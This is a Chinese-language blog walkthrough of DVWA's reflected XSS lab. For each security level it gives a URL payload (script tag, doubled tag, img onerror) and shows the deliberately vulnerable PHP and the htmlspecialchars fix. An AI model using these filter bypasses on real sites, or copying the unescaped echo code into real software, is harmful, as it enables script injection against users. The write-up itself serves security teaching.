something about DVWA - XSS(Reflected)
DVWA
XSS(Reflected)
XSS是跨站脚本攻击Cross-site scripting。
Reflected
类型是 反射型 的XSS
攻击,此类型的XSS
未保存在目标服务器上,是攻击者恶意插入在html
中的内容。
Low
手动测试
在URL中构造恶意参数。
1
http://train.com/dvwa/vulnerabilities/xss_r/?name=<script>alert('bad');</script>
源码分析
将页面输入的内容直接输入至拼接至页面渲染
1
2
3
4
5// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
Medium
手动测试
双写
<script>
构造双写
<script>
为<script<script>>
;1
http://train.com/dvwa/vulnerabilities/xss_r/?name=<script<script>>alert('bad');</script>
源码分析
过滤
<scrip>
标签1
2// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
High
手动测试
采用
<img/>
标签利用
<img/>
标签的onerror
机制,构造恶意URL。1
http://train.com/dvwa/vulnerabilities/xss_r/?name=<img src="nothing" onerror="alert('bad');"/>
源码分析
- 以正则表达式的方式过滤
<script>
标签
1
2// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );- 以正则表达式的方式过滤
Impossible
源码分析
将参数转义为
html
符号实体使用
htmlspecialchars()
函数将如<
等特殊符号转义为<
等html
实体。1
2// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
something about DVWA - XSS(Reflected)
https://cyhfvg.github.io/something-about-DVWA-XSS-Reflected/